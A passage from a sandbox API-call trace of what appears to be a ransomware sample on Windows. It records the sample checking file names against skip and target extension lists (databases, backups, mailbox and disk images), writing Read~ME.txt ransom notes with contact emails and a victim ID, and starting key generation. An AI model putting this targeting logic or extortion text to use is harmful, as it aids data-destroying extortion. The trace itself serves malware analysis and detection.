	[0078.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1c08 | out: hHeap=0x300000) returned 1
	[0078.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0870 | out: hHeap=0x300000) returned 1
	[0078.811] RtlWakeConditionVariable () returned 0x365f70
	[0078.811] GetCurrentThreadId () returned 0x9cc
	[0078.811] GetCurrentThreadId () returned 0x9cc
	[0078.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b62c8
	[0078.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6f10 | out: hHeap=0x300000) returned 1
	[0078.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e030 | out: hHeap=0x300000) returned 1
	[0078.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6f10
	[0078.812] lstrlenW (lpString=".scr") returned 4
	[0078.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.812] lstrlenW (lpString=".cmd") returned 4
	[0078.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.812] lstrlenW (lpString=".dll") returned 4
	[0078.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.812] lstrlenW (lpString=".dll.mui") returned 8
	[0078.812] lstrlenW (lpString=".bat") returned 4
	[0078.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.812] lstrlenW (lpString=".cpl") returned 4
	[0078.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.812] lstrlenW (lpString=".sys") returned 4
	[0078.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.812] lstrlenW (lpString=".msc") returned 4
	[0078.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.812] lstrlenW (lpString=".com") returned 4
	[0078.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.812] lstrlenW (lpString=".lnk") returned 4
	[0078.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.812] lstrlenW (lpString=".msp") returned 4
	[0078.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.812] lstrlenW (lpString=".pif") returned 4
	[0078.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.812] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6f10 | out: hHeap=0x300000) returned 1
	[0078.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0078.850] RtlWakeConditionVariable () returned 0x365f70
	[0078.850] GetCurrentThreadId () returned 0x9cc
	[0078.851] GetCurrentThreadId () returned 0x9cc
	[0078.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b62c8
	[0078.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b66b8 | out: hHeap=0x300000) returned 1
	[0078.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b0c8 | out: hHeap=0x300000) returned 1
	[0078.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b66b8
	[0078.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.863] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.863] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.865] CloseHandle (hObject=0x120) returned 1
	[0078.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b66b8 | out: hHeap=0x300000) returned 1
	[0078.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0078.865] RtlWakeConditionVariable () returned 0x365f70
	[0078.865] GetCurrentThreadId () returned 0x9cc
	[0078.865] GetCurrentThreadId () returned 0x9cc
	[0078.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b62c8
	[0078.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6760 | out: hHeap=0x300000) returned 1
	[0078.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b138 | out: hHeap=0x300000) returned 1
	[0078.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6760
	[0078.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0078.936] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.936] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.937] CloseHandle (hObject=0x130) returned 1
	[0078.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6760 | out: hHeap=0x300000) returned 1
	[0078.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0078.937] RtlWakeConditionVariable () returned 0x365f70
	[0078.937] GetCurrentThreadId () returned 0x9cc
	[0078.937] GetCurrentThreadId () returned 0x9cc
	[0078.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b62c8
	[0078.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6aa8 | out: hHeap=0x300000) returned 1
	[0078.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b2c0 | out: hHeap=0x300000) returned 1
	[0078.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6aa8
	[0078.937] lstrlenW (lpString=".scr") returned 4
	[0078.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".scr") returned 0x0
	[0078.938] lstrlenW (lpString=".cmd") returned 4
	[0078.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".cmd") returned 0x0
	[0078.938] lstrlenW (lpString=".dll") returned 4
	[0078.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".dll") returned 0x0
	[0078.938] lstrlenW (lpString=".bat") returned 4
	[0078.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".bat") returned 0x0
	[0078.938] lstrlenW (lpString=".cpl") returned 4
	[0078.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".cpl") returned 0x0
	[0078.938] lstrlenW (lpString=".sys") returned 4
	[0078.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".sys") returned 0x0
	[0078.938] lstrlenW (lpString=".msc") returned 4
	[0078.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".msc") returned 0x0
	[0078.938] lstrlenW (lpString=".com") returned 4
	[0078.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".com") returned 0x0
	[0078.938] lstrlenW (lpString=".lnk") returned 4
	[0078.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".lnk") returned 0x0
	[0078.938] lstrlenW (lpString=".msp") returned 4
	[0078.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".msp") returned 0x0
	[0078.938] lstrlenW (lpString=".pif") returned 4
	[0078.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".pif") returned 0x0
	[0078.938] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch="msp\r\n.pif") returned 0x0
	[0078.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0078.939] lstrlenW (lpString=".sqb") returned 4
	[0078.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".sqb") returned 0x0
	[0078.939] lstrlenW (lpString=".ost") returned 4
	[0078.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".ost") returned 0x0
	[0078.939] lstrlenW (lpString=".txt") returned 4
	[0078.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".txt") returned 0x0
	[0078.939] lstrlenW (lpString=".mdt") returned 4
	[0078.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".mdt") returned 0x0
	[0078.939] lstrlenW (lpString=".BDB") returned 4
	[0078.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".BDB") returned 0x0
	[0078.939] lstrlenW (lpString=".eql") returned 4
	[0078.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".eql") returned 0x0
	[0078.939] lstrlenW (lpString=".DBF") returned 4
	[0078.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".DBF") returned 0x0
	[0078.939] lstrlenW (lpString=".EQL") returned 4
	[0078.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".EQL") returned 0x0
	[0078.939] lstrlenW (lpString=".FDB") returned 4
	[0078.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".FDB") returned 0x0
	[0078.939] lstrlenW (lpString=".EDB") returned 4
	[0078.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".EDB") returned 0x0
	[0078.939] lstrlenW (lpString=".DACPAC") returned 7
	[0078.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".DACPAC") returned 0x0
	[0078.939] lstrlenW (lpString=".VHD") returned 4
	[0078.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".VHD") returned 0x0
	[0078.939] lstrlenW (lpString=".DBV") returned 4
	[0078.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".DBV") returned 0x0
	[0078.940] lstrlenW (lpString=".dacpac") returned 7
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".dacpac") returned 0x0
	[0078.940] lstrlenW (lpString=".sdf") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".sdf") returned 0x0
	[0078.940] lstrlenW (lpString=".accdb") returned 6
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".accdb") returned 0x0
	[0078.940] lstrlenW (lpString=".DBX") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".DBX") returned 0x0
	[0078.940] lstrlenW (lpString=".MDT") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".MDT") returned 0x0
	[0078.940] lstrlenW (lpString=".SQB") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".SQB") returned 0x0
	[0078.940] lstrlenW (lpString=".vhd") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".vhd") returned 0x0
	[0078.940] lstrlenW (lpString=".bac") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".bac") returned 0x0
	[0078.940] lstrlenW (lpString=".mdf") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".mdf") returned 0x0
	[0078.940] lstrlenW (lpString=".BAK") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".BAK") returned 0x0
	[0078.940] lstrlenW (lpString=".BAC") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".BAC") returned 0x0
	[0078.940] lstrlenW (lpString=".dbs") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".dbs") returned 0x0
	[0078.940] lstrlenW (lpString=".vhdx") returned 5
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".vhdx") returned 0x0
	[0078.940] lstrlenW (lpString=".NDF") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".NDF") returned 0x0
	[0078.940] lstrlenW (lpString=".dat") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".dat") returned 0x0
	[0078.940] lstrlenW (lpString=".DBS") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".DBS") returned 0x0
	[0078.940] lstrlenW (lpString=".CKP") returned 4
	[0078.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".CKP") returned 0x0
	[0078.941] lstrlenW (lpString=".edb") returned 4
	[0078.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".edb") returned 0x0
	[0078.941] lstrlenW (lpString=".PST") returned 4
	[0078.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".PST") returned 0x0
	[0078.941] lstrlenW (lpString=".dbf") returned 4
	[0078.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".dbf") returned 0x0
	[0078.941] lstrlenW (lpString=".SQL") returned 4
	[0078.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".SQL") returned 0x0
	[0078.941] lstrlenW (lpString=".pst") returned 4
	[0078.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".pst") returned 0x0
	[0078.941] lstrlenW (lpString=".dbv") returned 4
	[0078.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".dbv") returned 0x0
	[0078.941] lstrlenW (lpString=".SDF") returned 4
	[0078.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".SDF") returned 0x0
	[0078.941] lstrlenW (lpString=".dtxs") returned 5
	[0078.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".dtxs") returned 0x0
	[0078.941] lstrlenW (lpString=".db3") returned 4
	[0078.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".db3") returned 0x0
	[0078.941] lstrlenW (lpString=".OST") returned 4
	[0078.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".OST") returned 0x0
	[0078.941] lstrlenW (lpString=".dbx") returned 4
	[0078.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".dbx") returned 0x0
	[0078.941] lstrlenW (lpString=".DB3") returned 4
	[0078.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".DB3") returned 0x0
	[0078.941] lstrlenW (lpString=".DAT") returned 4
	[0078.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".DAT") returned 0x0
	[0078.941] lstrlenW (lpString=".VHDX") returned 5
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".VHDX") returned 0x0
	[0078.942] lstrlenW (lpString=".ndf") returned 4
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".ndf") returned 0x0
	[0078.942] lstrlenW (lpString=".DB") returned 3
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".DB") returned 0x0
	[0078.942] lstrlenW (lpString=".sql") returned 4
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".sql") returned 0x0
	[0078.942] lstrlenW (lpString=".MYD") returned 4
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".MYD") returned 0x0
	[0078.942] lstrlenW (lpString=".DBT") returned 4
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".DBT") returned 0x0
	[0078.942] lstrlenW (lpString=".ACCDB") returned 6
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".ACCDB") returned 0x0
	[0078.942] lstrlenW (lpString=".fdb") returned 4
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".fdb") returned 0x0
	[0078.942] lstrlenW (lpString=".bak") returned 4
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".bak") returned 0x0
	[0078.942] lstrlenW (lpString=".myd") returned 4
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".myd") returned 0x0
	[0078.942] lstrlenW (lpString=".DTXS") returned 5
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".DTXS") returned 0x0
	[0078.942] lstrlenW (lpString=".ckp") returned 4
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".ckp") returned 0x0
	[0078.942] lstrlenW (lpString=".dbt") returned 4
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".dbt") returned 0x0
	[0078.942] lstrlenW (lpString=".db") returned 3
	[0078.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".db") returned 0x0
	[0078.942] lstrlenW (lpString=".TXT") returned 4
	[0078.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".TXT") returned 0x0
	[0078.943] lstrlenW (lpString=".MDF") returned 4
	[0078.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".MDF") returned 0x0
	[0078.943] lstrlenW (lpString=".bdb") returned 4
	[0078.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".bdb") returned 0x0
	[0078.943] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0078.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.943] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0078.944] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.944] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0078.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0078.944] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19893426599) returned 1
	[0078.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x98edee90, dwHighDateTime=0x1d60e1e)) 
	[0078.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0078.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0078.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0078.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b2c0
	[0078.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b2c0 | out: hHeap=0x300000) returned 1
	[0078.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6760
